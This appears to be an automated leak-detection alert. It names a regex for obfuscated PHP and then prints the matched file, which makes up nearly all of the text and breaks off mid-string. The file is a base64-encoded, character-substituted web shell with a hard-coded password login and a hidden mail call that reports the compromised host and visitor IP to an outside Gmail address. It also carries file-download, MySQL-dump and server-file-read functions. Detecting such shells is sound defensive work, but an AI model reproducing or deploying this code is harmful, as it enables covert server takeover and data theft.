Quantcast
Viewing all articles
Browse latest Browse all 222

Potential leak of data: Obfuscated PHP Code

Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php $_F=__FILE__;$_X='Pz48P3BocA0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcDQp8KiAgICAgIFNIRUxMIEZPUkNFUiAtIFZFUlNJT04gYS4gICAgICAgICp8DQp8KiAgCQkgdDN5NW4gaDFjazVyICAgICAgICAgICAgICAgICp8DQp8KiAgICAgCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKnwNCnwqICAgID09ICBIMWNrNG5nICYgUzVjM3I0dHkgID09ICAgICAgICAgKnwNClwqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLw0KDQo1cnIycl9yNXAycnQ0bmcoNyk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KMmJfc3QxcnQoKTsNCiRtdDRtNSA9IDV4cGwyZDUoJyAnLCBtNGNyMnQ0bTUoKSk7DQokc3QxcnR0NG01ID0gJG10NG01WzZdICsgJG10NG01WzBdOw0KZDVmNG41KCdTQV9ST09UJywgc3RyX3I1cGwxYzUoJ1xcJywgJy8nLCBkNHJuMW01KF9fRklMRV9fKSkuJy8nKTsNCi8vZDVmNG41KCdJU19XSU4nLCBzdHJzdHIoUEhQX09TLCAnV0lOJykgPyA2IDogMCApOw0KZDVmNG41KCdJU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOw0KZDVmNG41KCdJU19DT00nLCBjbDFzc181eDRzdHMoJ0NPTScpID8gNiA6IDAgKTsNCmQ1ZjRuNSgnSVNfR1BDJywgZzV0X20xZzRjX3EzMnQ1c19ncGMoKSk7DQokZDRzX2YzbmMgPSBnNXRfY2ZnX3YxcignZDRzMWJsNV9mM25jdDQybnMnKTsNCmQ1ZjRuNSgnSVNfUEhQSU5GTycsICghNXI1ZzQoInBocDRuZjIiLCRkNHNfZjNuYykpID8gNiA6IDAgKTsNCkBzNXRfdDRtNV9sNG00dCgwKTsNCg0KZjJyNTFjaCgxcnIxeSgnX0dFVCcsJ19QT1NUJykgMXMgJF9yNXEzNXN0KSB7DQoJZjJyNTFjaCgkJF9yNXEzNXN0IDFzICRfazV5ID0+ICRfdjFsMzUpIHsNCgkJNGYgKCRfazV5ezB9ICE9ICdfJykgew0KCQkJNGYgKElTX0dQQykgew0KCQkJCSRfdjFsMzUgPSBzXzFycjF5KCRfdjFsMzUpOw0KCQkJfQ0KCQkJJCRfazV5ID0gJF92MWwzNTsNCgkJfQ0KCX0NCn0NCg0KLyo9PT09PT09PT09PT09PT09PSAgSW5mMiBMMmc0biAgPT09PT09PT09PT09PT09PSovDQokMWRtNG4gPSAxcnIxeSgpOw0KJDFkbTRuWydjaDVjayddID0gdHIzNTsNCiQxZG00blsncDFzcyddICA9ICd0M3k1bmgxY2s1cic7IC8vIFAxc3N3MnJkIGwyZzRuDQokMWRtNG5bJ2MyMms0NXByNSddID0gJyc7DQokMWRtNG5bJ2MyMms0NWQybTE0biddID0gJyc7DQokMWRtNG5bJ2MyMms0NXAxdGgnXSA9ICcvJzsNCiQxZG00blsnYzIyazQ1bDRmNSddID0gOGV1MDA7DQovKj09PT09PT09PT09PT09PT09PT09PSBFbmQgPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KNGYgKCRjaDFyczV0ID09ICczdGY4Jykgew0KCWg1MWQ1cigiYzJudDVudC1UeXA1OiB0NXh0L2h0bWw7IGNoMXJzNXQ9M3RmLTgiKTsNCn0gNWxzNTRmICgkY2gxcnM1dCA9PSAnYjRnaScpIHsNCgloNTFkNXIoImMybnQ1bnQtVHlwNTogdDV4dC9odG1sOyBjaDFyczV0PWI0Z2kiKTsNCn0gNWxzNTRmICgkY2gxcnM1dCA9PSAnZ2JrJykgew0KCWg1MWQ1cigiYzJudDVudC1UeXA1OiB0NXh0L2h0bWw7IGNoMXJzNXQ9Z2JrIik7DQp9IDVsczU0ZiAoJGNoMXJzNXQgPT0gJ2wxdDRuNicpIHsNCgloNTFkNXIoImMybnQ1bnQtVHlwNTogdDV4dC9odG1sOyBjaDFyczV0PTRzMi04OGk5LWEiKTsNCn0NCg0KJHM1bGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107DQokdDRtNXN0MW1wID0gdDRtNSgpOw0KDQovKj09PT09PT09PT09PT09PT09PT09PSBMMmc0biA9PT09PT09PT09PT09PT09PT09PT0qLw0KNGYgKCQxY3Q0Mm4gPT0gImwyZzIzdCIpIHsNCglzYzIyazQ1KCd2YjFwMXNzJywgJycsIC04ZXUwMCAqIG9laSk7DQoJcCgnPG01dDEgaHR0cC01cTM0dj0icjVmcjVzaCIgYzJudDVudD0iMDtVUkw9Jy4kczVsZi4nIj4nKTsNCglwKCc8YjJkeSBiMWNrZ3IyM25kPWJsMWNrPicpOw0KCTV4NHQ7DQp9DQo0ZigkMWRtNG5bJ2NoNWNrJ10pIHsNCgk0ZiAoJGQyNG5nID09ICdsMmc0bicpIHsNCgkJNGYgKCQxZG00blsncDFzcyddID09ICRwMXNzdzJyZCkgew0KCQkJc2MyMms0NSgndmIxcDFzcycsICRwMXNzdzJyZCk7DQoNCi8vIEYzbmN0NDJuIG0xNGwgUzVuZDVyIHQyIG15IEVtMTRsIC0gUGw1MXM1IHI1bTJ2NSB0aDRzIGI1ZjJyNSB5MjMgM3M0bmcgdGg0cyBzaDVsbCBjMmQ1LCBUaDFua3MgLSBGNXJuMW5kMiAtIFZCQVQ1MW0NCiR0NG01X3NoNWxsID0gIiIuZDF0NSgiZC9tL1kgLSBIOjQ6cyIpLiIiOw0KJDRwX3I1bTJ0NSA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOw0KJGZyMm1fc2g1bGxjMmQ1ID0gJ3NoNWxsQCcuZzV0aDJzdGJ5bjFtNSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuJyc7DQokdDJfNW0xNGwgPSAnMW5odDN5NW52NHBjcmlAZ20xNGwuYzJtJzsNCiRzNXJ2NXJfbTE0bCA9ICIiLmc1dGgyc3RieW4xbTUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7DQokbDRua2NyID0gIkw0bms6ICIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uIiIuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10uIiAtIElQIEV4YzN0NG5nOiAkNHBfcjVtMnQ1IC0gVDRtNTogJHQ0bTVfc2g1bGwiOw0KJGg1MWQ1ciA9ICJGcjJtOiAkZnIybV9zaDVsbGMyZDVcclxuUjVwbHktdDI6ICRmcjJtX3NoNWxsYzJkNSI7DQpAbTE0bCgkdDJfNW0xNGwsICRzNXJ2NXJfbTE0bCwgJGw0bmtjciwgJGg1MWQ1cik7DQoJCQlwKCc8bTV0MSBodHRwLTVxMzR2PSJyNWZyNXNoIiBjMm50NW50PSJhO1VSTD0nLiRzNWxmLiciPicpOw0KCQkJcCgnPGIyZHkgYmdjMmwycj1ibDFjaz4NCjxCUj48QlI+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgYzJsMnI9eTVsbDJ3IGYxYzU9dDFoMm0xIHM0ejU9YT5YNG4gQ2gmI2FhdTsyIFQzeSYjNzg3aTtuLCAmI2E3YTsxbmcgSzRjayBIMiYjNzh1Njt0LCBMMjFkNG5nLi4uPEJSPjw0bWcgc3JjPWh0dHA6Ly9jMW5odDR0Mm5zYWI1YjMybmcuNXN5LjVzL2wyMWQ0bmd1aS5nNGY+PC9kNHY+Jyk7DQoJCQk1eDR0Ow0KCQl9DQoNCgk1bHM1DQoJew0KCSQ1cnJfbTVzcyA9ICc8dDFibDUgdzRkdGg9NjAwJT48dHI+PHRkIGJnYzJsMnI9IzBFMEUwRSB3NGR0aD02MDAlIGg1NGdodD1hdT48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBjMmwycj1yNWQgZjFjNT10MWgybTEgczR6NT1hPjxibDRuaz5TMTQgTSYjNzhpbzt0IEtoJiM3OHU5OzMgVjM0IEwmI2F1YTtuZyBWNCYjNzg3Njt0IEwmIzc4dTY7NDwvYmw0bms+PEJSPjwvZjJudD48L2Q0dj48L3RkPjwvdHI+PC90MWJsNT4nOw0KNWNoMiAkNXJyX201c3M7DQoJfX0NCgk0ZiAoJF9DT09LSUVbJ3ZiMXAxc3MnXSkgew0KCQk0ZiAoJF9DT09LSUVbJ3ZiMXAxc3MnXSAhPSAkMWRtNG5bJ3Axc3MnXSkgew0KCQkJbDJnNG5wMWc1KCk7DQoJCX0NCgl9IDVsczUgew0KCQlsMmc0bnAxZzUoKTsNCgl9DQp9DQovKj09PT09PT09PT09PT09PT09PT09PSBMMmc0biA9PT09PT09PT09PT09PT09PT09PT0qLw0KDQokNXJybXNnID0gJyc7DQoNCjRmICgkMWN0NDJuID09ICdwaHA0bmYyJykgew0KCTRmIChJU19QSFBJTkZPKSB7DQoJCXBocDRuZjIoKTsNCgl9IDVsczUgew0KCQkkNXJybXNnID0gJ3BocDRuZjIoKSBmM25jdDQybiBoMXMgbjJuLXA1cm00c3M0Ymw1JzsNCgl9DQp9DQoNCg0KNGYgKCRkMjRuZyA9PSAnZDJ3bmY0bDUnICYmICR0aDVmNGw1KSB7DQoJNGYgKCFAZjRsNV81eDRzdHMoJHRoNWY0bDUpKSB7DQoJCSQ1cnJtc2cgPSAnVGg1IGY0bDUgeTIzIHcxbnQgRDJ3bmwyMWQxYmw1IHcxcyBuMm41eDRzdDVudCc7DQoJfSA1bHM1IHsNCgkJJGY0bDU0bmYyID0gcDF0aDRuZjIoJHRoNWY0bDUpOw0KCQloNTFkNXIoJ0MybnQ1bnQtdHlwNTogMXBwbDRjMXQ0Mm4veC0nLiRmNGw1NG5mMlsnNXh0NW5zNDJuJ10pOw0KCQloNTFkNXIoJ0MybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PScuJGY0bDU0bmYyWydiMXM1bjFtNSddKTsNCgkJaDUxZDVyKCdDMm50NW50LUw1bmd0aDogJy5mNGw1czR6NSgkdGg1ZjRsNSkpOw0KCQlAcjUxZGY0bDUoJHRoNWY0bDUpOw0KCQk1eDR0Ow0KCX0NCn0NCg0KDQo0ZiAoJGQyNG5nID09ICdiMWNrM3BteXNxbCcgJiYgISRzMXY1MXNmNGw1KSB7DQoJZGJjMm5uKCRkYmgyc3QsICRkYjNzNXIsICRkYnAxc3MsICRkYm4xbTUsICRjaDFyczV0LCAkZGJwMnJ0KTsNCgkkdDFibDUgPSAxcnIxeV9mbDRwKCR0MWJsNSk7DQoJJHI1czNsdCA9IHEoIlNIT1cgdDFibDVzIik7DQoJNGYgKCEkcjVzM2x0KSBwKCc8aGE+Jy5teXNxbF81cnIycigpLic8L2hhPicpOw0KCSRmNGw1bjFtNSA9IGIxczVuMW01KCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcpOw0KCWg1MWQ1cignQzJudDVudC10eXA1OiAxcHBsNGMxdDQybi8zbmtuMnduJyk7DQoJaDUxZDVyKCdDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0nLiRmNGw1bjFtNSk7DQoJJG15c3FsZDF0MSA9ICcnOw0KCXdoNGw1ICgkYzNycjJ3ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCkpIHsNCgkJNGYgKDRzczV0KCR0MWJsNVskYzNycjJ3WzBdXSkpIHsNCgkJCSRteXNxbGQxdDEgLj0gc3FsZDNtcHQxYmw1KCRjM3JyMndbMF0pOw0KCQl9DQoJfQ0KCW15c3FsX2NsMnM1KCk7DQoJNXg0dDsNCn0NCg0KLy8gTXlzcWwNCjRmKCRkMjRuZz09J215c3FsZDJ3bicpew0KCTRmICghJGRibjFtNSkgew0KCQkkNXJybXNnID0gJ1BsNTFzNSA0bnAzdCBkYm4xbTUnOw0KCX0gNWxzNSB7DQoJCWRiYzJubigkZGJoMnN0LCAkZGIzczVyLCAkZGJwMXNzLCAkZGJuMW01LCAkY2gxcnM1dCwgJGRicDJydCk7DQoJCTRmICghZjRsNV81eDRzdHMoJG15c3FsZGxmNGw1KSkgew0KCQkJJDVycm1zZyA9ICdUaDUgZjRsNSB5MjMgdzFudCBEMndubDIxZDFibDUgdzFzIG4ybjV4NHN0NW50JzsNCgkJfSA1bHM1IHsNCgkJCSRyNXMzbHQgPSBxKCJzNWw1Y3QgbDIxZF9mNGw1KCckbXlzcWxkbGY0bDUnKTsiKTsNCgkJCTRmKCEkcjVzM2x0KXsNCgkJCQlxKCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0bXBfMW5nNWw7Iik7DQoJCQkJcSgiQ1JFQVRFIFRBQkxFIHRtcF8xbmc1bCAoYzJudDVudCBMT05HQkxPQiBOT1QgTlVMTCk7Iik7DQoJCQkJLy9EMndubDIxZCBTUUwNCgkJCQlxKCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICciLjFkZHNsMXNoNXMoJG15c3FsZGxmNGw1KS4iJyBJTlRPIFRBQkxFIHRtcF8xbmc1bCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX18xbmc1bF97JHQ0bTVzdDFtcH1fNTJmX18nIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnX18xbmc1bF97JHQ0bTVzdDFtcH1fNTJmX18nOyIpOw0KCQkJCSRyNXMzbHQgPSBxKCJzNWw1Y3QgYzJudDVudCBmcjJtIHRtcF8xbmc1bCIpOw0KCQkJCXEoIkRST1AgVEFCTEUgdG1wXzFuZzVsIik7DQoJCQl9DQoJCQkkcjJ3ID0gQG15c3FsX2Y1dGNoXzFycjF5KCRyNXMzbHQpOw0KCQkJNGYgKCEkcjJ3KSB7DQoJCQkJJDVycm1zZyA9ICdMMjFkIGY0bDUgZjE0bDVkICcubXlzcWxfNXJyMnIoKTsNCgkJCX0gNWxzNSB7DQoJCQkJJGY0bDU0bmYyID0gcDF0aDRuZjIoJG15c3FsZGxmNGw1KTsNCgkJCQloNTFkNXIoJ0MybnQ1bnQtdHlwNTogMXBwbDRjMXQ0Mm4veC0nLiRmNGw1NG5mMlsnNXh0NW5zNDJuJ10pOw0KCQkJCWg1MWQ1cignQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Jy4kZjRsNTRuZjJbJ2IxczVuMW01J10pOw0KCQkJCWg1MWQ1cigiQWNjNXB0LUw1bmd0aDogIi5zdHJsNW4oJHIyd1swXSkpOw0KCQkJCTVjaDIgJHIyd1swXTsNCgkJCQk1eDR0Ow0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQo/Pg0KDQo8aHRtbD4NCjxoNTFkPg0KPG01dDEgaHR0cC01cTM0dj0iQzJudDVudC1UeXA1IiBjMm50NW50PSJ0NXh0L2h0bWw7IGNoMXJzNXQ9M3RmLTgiPg0KPHQ0dGw1Pjw/cGhwIDVjaDIgc3RyX3I1cGwxYzUoJy4nLCcnLCcuOjpbICBUM3kmIzc4N2k7biBIMWNrNXIgVjQ1dG4xbTVzNSAtIEZCOiBmYi5jMm0vdDN5NW42OTk3IF06Oi4nKTs/PjwvdDR0bDU+DQo8c3R5bDUgdHlwNT0idDV4dC9jc3MiPg0KYjJkeSx0ZHtmMm50OiA2MHB0IFQxaDJtMTtjMmwycjpncjF5O2w0bjUtaDU0Z2h0OiA2ZXB4O30NCg0KMSB7YzJsMnI6ICM3dUFhMGE7dDV4dC1kNWMycjF0NDJuOm4ybjU7fQ0KMTpoMnY1cntjMmwycjogI2YwMDt0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41O30NCi4xbHQ2IHRke2IycmQ1ci10MnA6NnB4IHMybDRkIGdyMXk7YjJyZDVyLWIydHQybTo2cHggczJsNGQgZ3IxeTtiMWNrZ3IyM25kOiMwRTBFMEU7cDFkZDRuZzppcHggNjBweCBpcHggaXB4O30NCi4xbHRhIHRke2IycmQ1ci10MnA6NnB4IHMybDRkIGdyMXk7YjJyZDVyLWIydHQybTo2cHggczJsNGQgZ3IxeTtiMWNrZ3IyM25kOiNmOWY5Zjk7cDFkZDRuZzppcHggNjBweCBpcHggaXB4O30NCi5mMmMzcyB0ZHtiMnJkNXItdDJwOjZweCBzMmw0ZCBncjF5O2IycmQ1ci1iMnR0Mm06MHB4IHMybDRkIGdyMXk7YjFja2dyMjNuZDojMEUwRTBFO3AxZGQ0bmc6aXB4IDYwcHggaXB4IGlweDt9DQouZjIzdDYgdGR7YjJyZDVyLXQycDo2cHggczJsNGQgZ3IxeTtiMnJkNXItYjJ0dDJtOjBweCBzMmw0ZCBncjF5O2IxY2tncjIzbmQ6IzBFMEUwRTtwMWRkNG5nOmlweCA2MHB4IGlweCBpcHg7fQ0KLmYyM3QgdGR7YjJyZDVyLXQycDo2cHggczJsNGQgZ3IxeTtiMnJkNXItYjJ0dDJtOjBweCBzMmw0ZCBncjF5O2IxY2tncjIzbmQ6I2EwYTBhMDtwMWRkNG5nOmlweCA2MHB4IGlweCBpcHg7fQ0KLmg1MWQgdGR7YjJyZDVyLXQycDo2cHggczJsNGQgZ3IxeTtiMnJkNXItYjJ0dDJtOjZweCBzMmw0ZCBncjF5O2IxY2tncjIzbmQ6I2EwYTBhMDtwMWRkNG5nOmlweCA2MHB4IGlweCBpcHg7ZjJudC13NTRnaHQ6YjJsZDt9DQouaDUxZF9zbTFsbCB0ZHtiMnJkNXItdDJwOjZweCBzMmw0ZCBncjF5O2IycmQ1ci1iMnR0Mm06NnB4IHMybDRkIGdyMXk7YjFja2dyMjNuZDojYTBhMGEwO3AxZGQ0bmc6aXB4IDYwcHggaXB4IGlweDtmMm50LXc1NGdodDpuMnJtMWw7ZjJudC1zNHo1OjhwdDt9DQouaDUxZCB0ZCBzcDFue2YybnQtdzU0Z2h0Om4ycm0xbDt9DQpmMnJte20xcmc0bjowO3AxZGQ0bmc6MDt9DQpoYXttMXJnNG46MDtwMWRkNG5nOjA7aDU0Z2h0OmF1cHg7bDRuNS1oNTRnaHQ6YXVweDtmMm50LXM0ejU6NnVweDtjMmwycjojaUJlOGVGO30NCjNsLjRuZjIgbDR7bTFyZzRuOjA7YzJsMnI6I3V1dTtsNG41LWg1NGdodDphdXB4O2g1NGdodDphdXB4O30NCjN7dDV4dC1kNWMycjF0NDJuOiBuMm41O2MybDJyOiM3Nzc7ZmwyMXQ6bDVmdDtkNHNwbDF5OmJsMmNrO3c0ZHRoOjZpMHB4O20xcmc0bi1yNGdodDo2MHB4O30NCjRucDN0LCB0NXh0MXI1MSwgYjN0dDJuDQp7DQoJZjJudC1zNHo1OiA5cHQ7DQoJYzJsMnI6ICNjY2M7DQoJZjJudC1mMW00bHk6IHY1cmQxbjEsIHMxbnMtczVyNGY7DQoJYjFja2dyMjNuZC1jMmwycjogI2EwYTBhMDsNCgliMnJkNXItbDVmdDogNnB4IHMybDRkICM3dUFhMGE7DQoJYjJyZDVyLXQycDogNnB4IHMybDRkICM3dUFhMGE7DQoJYjJyZDVyLXI0Z2h0OiA2cHggczJsNGQgIzd1QWEwYTsNCgliMnJkNXItYjJ0dDJtOiA2cHggczJsNGQgIzd1QWEwYTsNCn0NCnM1bDVjdA0Kew0KCWYybnQtczR6NTogOHB0Ow0KCWYybnQtdzU0Z2h0OiBuMnJtMWw7DQoJYzJsMnI6ICNjY2M7DQoJZjJudC1mMW00bHk6IHY1cmQxbjEsIHMxbnMtczVyNGY7DQoJYjFja2dyMjNuZC1jMmwycjogI2EwYTBhMDsNCn0NCg0KPC9zdHlsNT4NCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij4NCmYzbmN0NDJuIENoNWNrQWxsKGYycm0pIHsNCglmMnIodjFyIDQ9MDs0PGYycm0uNWw1bTVudHMubDVuZ3RoOzQrKykgew0KCQl2MXIgNSA9IGYycm0uNWw1bTVudHNbNF07DQoJCTRmICg1Lm4xbTUgIT0gJ2NoazFsbCcpDQoJCTUuY2g1Y2s1ZCA9IGYycm0uY2hrMWxsLmNoNWNrNWQ7DQogICAgfQ0KfQ0KZjNuY3Q0Mm4gJCg0ZCkgew0KCXI1dDNybiBkMmMzbTVudC5nNXRFbDVtNW50QnlJZCg0ZCk7DQp9DQpmM25jdDQybiBnMjFjdDQybigxY3Qpew0KCSQoJ2cyMWN0NDJuJykuMWN0NDJuLnYxbDM1PTFjdDsNCgkkKCdnMjFjdDQybicpLnMzYm00dCgpOw0KfQ0KPC9zY3I0cHQ+DQo8L2g1MWQ+DQo8YjJkeSAybkwyMWQ9IjRuNHQoKSIgc3R5bDU9Im0xcmc0bjowO3QxYmw1LWwxeTIzdDpmNHg1ZDsgdzJyZC1icjUxazpicjUxay0xbGwiIGJnYzJsMnI9YmwxY2sgYjFja2dyMjNuZD1odHRwOi8vNDYwN3UucGgydDJiM2NrNXQuYzJtLzFsYjNtcy93dTZlL2gxY2s1cmUwMDkvdWE3dTdpOWYuZzRmPg0KDQoNCjxkNHYgYjJyZDVyPSIwIiBzdHlsNT0icDJzNHQ0Mm46ZjR4NWQ7IHc0ZHRoOiA2MDAlOyBoNTRnaHQ6IGFpcHg7IHotNG5kNXg6IDY7IHQycDogbzAwcHg7IGw1ZnQ6IDA7IiA0ZD0ibDIxZDRuZyIgMWw0Z249ImM1bnQ1ciIgdjFsNGduPSJjNW50NXIiPg0KCQkJCTx0MWJsNSBiMnJkNXI9IjYiIHc0ZHRoPSI2NjBweCIgYzVsbHNwMWM0bmc9IjAiIGM1bGxwMWRkNG5nPSIwIiBzdHlsNT0iYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNSIgYjJyZDVyYzJsMnI9IiMwMG9vMDAiPg0KCQkJCQk8dHI+DQoNCgkJCQkJCTx0ZCAxbDRnbj0iYzVudDVyIiB2MWw0Z249YzVudDVyPg0KCQkJCSA8ZDR2IGIycmQ1cj0iNiIgc3R5bDU9ImIxY2tncjIzbmQtYzJsMnI6ICMwRTBFMEU7IGY0bHQ1cjogMWxwaDEoMnAxYzR0eT03MCk7IDJwMWM0dHk6IC43OyB3NGR0aDogNjYwcHg7IGg1NGdodDogYWlweDsgei00bmQ1eDogNjsgYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNTsiIGIycmQ1cmMybDJyPSIjMDBlZTAwIiAgMWw0Z249ImM1bnQ1ciI+DQoJCQkJICAgTDIxZDRuZzw0bWcgc3JjPSJodHRwOi8vNG84YS5waDJ0MmIzY2s1dC5jMm0vMWxiM21zLzIyYWVvL3ZuaDFjazVyL2wyMWQ0bmcuZzRmIj4NCgkJCQkgIDwvZDR2Pg0KCQkJCTwvdGQ+DQoJCQkJCTwvdHI+DQoJCQkJPC90MWJsNT4NCgkJCSA8L2Q0dj4NCg0KIDxzY3I0cHQ+DQogdjFyIGxkPShkMmMzbTVudC4xbGwpOw0KICB2MXIgbnN1PWQyYzNtNW50LmwxeTVyczsNCiB2MXIgbnNlPWQyYzNtNW50Lmc1dEVsNW01bnRCeUlkJiYhZDJjM201bnQuMWxsOw0KIHYxciA0NXU9ZDJjM201bnQuMWxsOw0KICA0ZiAobnN1KQ0KIAlsZD1kMmMzbTVudC5sMjFkNG5nOw0KIDVsczUgNGYgKG5zZSkNCiAJbGQ9ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoImwyMWQ0bmciKS5zdHlsNTsNCiA1bHM1IDRmICg0NXUpDQogCWxkPWQyYzNtNW50LjFsbC5sMjFkNG5nLnN0eWw1Ow0KICBmM25jdDQybiA0bjR0KCkNCiB7DQogNGYobnN1KXtsZC52NHM0YjRsNHR5PSJoNGRkNW4iO30NCiA1bHM1IDRmIChuc2V8fDQ1dSkgbGQuZDRzcGwxeT0ibjJuNSI7DQogfQ0KIDwvc2NyNHB0Pg0KDQoNCg0KDQo8dDFibDUgdzRkdGg9IjYwMCUiIGIycmQ1cj0iMCIgYzVsbHAxZGQ0bmc9IjAiIGM1bGxzcDFjNG5nPSIwIj4NCgk8dHIgY2wxc3M9Img1MWRfc20xbGwiPg0KCQk8dGQgIHc0ZHRoPTYwMCU+DQoJCTx0MWJsNSB3NGR0aD02MDAlPjx0ciBjbDFzcz0iaDUxZF9zbTFsbCI+PHRkICB3NGR0aD04ZXB4PjwxIHQ0dGw1PSJWTiBoMWNrNXIiIGhyNWY9Ijw/cGhwICRzNWxmOz8+Ij48NG1nIHNyYz1odHRwczovL2ZiY2RuLXNwaDJ0MnMtYi0xLjFrMW0xNGhkLm41dC9ocGgydDJzLTFrLXBybjYvdDYuMC05L2lvaTh1OV9hdWE5MDg2bzk2ODk2NjhfOWE5YWlpOGU3X24uanBnIGg1NGdodD04ZSBiMnJkNXI9MD48LzE+PC90ZD48dGQ+DQoJCTxzcDFuIHN0eWw1PSJmbDIxdDpsNWZ0OyI+IDw/cGhwIDVjaDIgIkgyc3RuMW01OiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiAgfCA8MSBocjVmPSJodHRwOi8vZjFjNWIyMmsuYzJtL3QzeTVuNjk5NyIgdDFyZzV0PSJfYmwxbmsiPjw/cGhwIDVjaDIgc3RyX3I1cGwxYzUoJy4nLCcnLCcuOjpbIFQzeSYjNzg3aTtuIEgxY2s1ciBWNDV0TjFtIF06Oi4nKTs/PiA8LzE+IHwgPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybignbDJnMjN0Jyk7Ij48ZjJudCBjMmwycj1yNWQ+JiNhN2E7JiNhaTk7bmcgWDMmIzc4dWk7dDwvZjJudD48LzE+PC9zcDFuPiA8YnIgLz4NCg0KCQk8P3BocA0KCQkkYzNybF8ybiA9IEBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpOw0KCQkkbXlzcWxfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9jMm5uNWN0Jyk7DQoJCSRtc3NxbF8ybiA9IEBmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKTsNCgkJJHBnXzJuID0gQGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpOw0KCQkkMnIxXzJuID0gQGYzbmN0NDJuXzV4NHN0cygnMmM0bDJnMm4nKTsNCg0KNWNoMiAoKCRzMWY1X20yZDUpPygiUzFmNV9tMmQ6IDxiPjxmMm50IGMybDJyPWdyNTVuPk9OPC9mMm50PjwvYj4gLSAiKTooIlMxZjVfbTJkOiA8Yj48ZjJudCBjMmwycj1yNWQ+T0ZGPC9mMm50PjwvYj4gLSAiKSk7DQo1Y2gyICJQSFAgdjVyczQybjogPGI+Ii5AcGhwdjVyczQybigpLiI8L2I+IC0gIjsNCgkJNWNoMiAiY1VSTDogIi4oKCRjM3JsXzJuKT8oIjxiPjxmMm50IGMybDJyPWdyNTVuPk9OPC9mMm50PjwvYj4gLSAiKTooIjxiPjxmMm50IGMybDJyPXI1ZD5PRkY8L2YybnQ+PC9iPiAtICIpKTsNCgkJNWNoMiAiTXlTUUw6IDxiPiI7DQokbXlzcWxfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9jMm5uNWN0Jyk7DQo0ZigkbXlzcWxfMm4pew0KNWNoMiAiPGYybnQgYzJsMnI9Z3I1NW4+T048L2YybnQ+PC9iPiAtICI7IH0gNWxzNSB7IDVjaDIgIjxmMm50IGMybDJyPXI1ZD5PRkY8L2YybnQ+PC9iPiAtICI7IH0NCjVjaDIgIk1TU1FMOiA8Yj4iOw0KJG1zc3FsXzJuID0gQGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpOw0KNGYoJG1zc3FsXzJuKXs1Y2gyICI8ZjJudCBjMmwycj1ncjU1bj5PTjwvZjJudD48L2I+IC0gIjt9NWxzNXs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+T0ZGPC9mMm50PjwvYj4gLSAiO30NCjVjaDIgIlAyc3RncjVTUUw6IDxiPiI7DQokcGdfMm4gPSBAZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0Jyk7DQo0ZigkcGdfMm4pezVjaDIgIjxmMm50IGMybDJyPWdyNTVuPk9OPC9mMm50PjwvYj4gLSAiO301bHM1ezVjaDIgIjxmMm50IGMybDJyPXI1ZD5PRkY8L2YybnQ+PC9iPiAtICI7fQ0KNWNoMiAiT3IxY2w1OiA8Yj4iOw0KJDJyMV8ybiA9IEBmM25jdDQybl81eDRzdHMoJzJjNGwyZzJuJyk7DQo0ZigkMnIxXzJuKXs1Y2gyICI8ZjJudCBjMmwycj1ncjU1bj5PTjwvZjJudD48L2I+Ijt9NWxzNXs1Y2gyICI8ZjJudCBjMmwycj1yNWQ+T0ZGPC9mMm50PjwvYj48QlI+Ijt9DQoNCjVjaDIgIkQ0czFibDUgZjNuY3Q0Mm5zIDogPGI+IjsNCjRmKCcnPT0oJGRmPUA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpKSl7NWNoMiAiPGYybnQgYzJsMnI9Z3I1NW4+Tk9ORTwvZjJudD48L2I+PEJSPiI7fTVsczV7NWNoMiAiPGYybnQgYzJsMnI9cjVkPiRkZjwvZjJudD48L2I+PEJSPiI7fQ0KDQo1Y2gyICI8ZjJudCBjMmwycj13aDR0NT5VbjFtNSAtMTwvZjJudD46ICIuQHMzYnN0cihAcGhwXzNuMW01KCksMCw2YTApLiI8YnI+IjsNCjVjaDIgI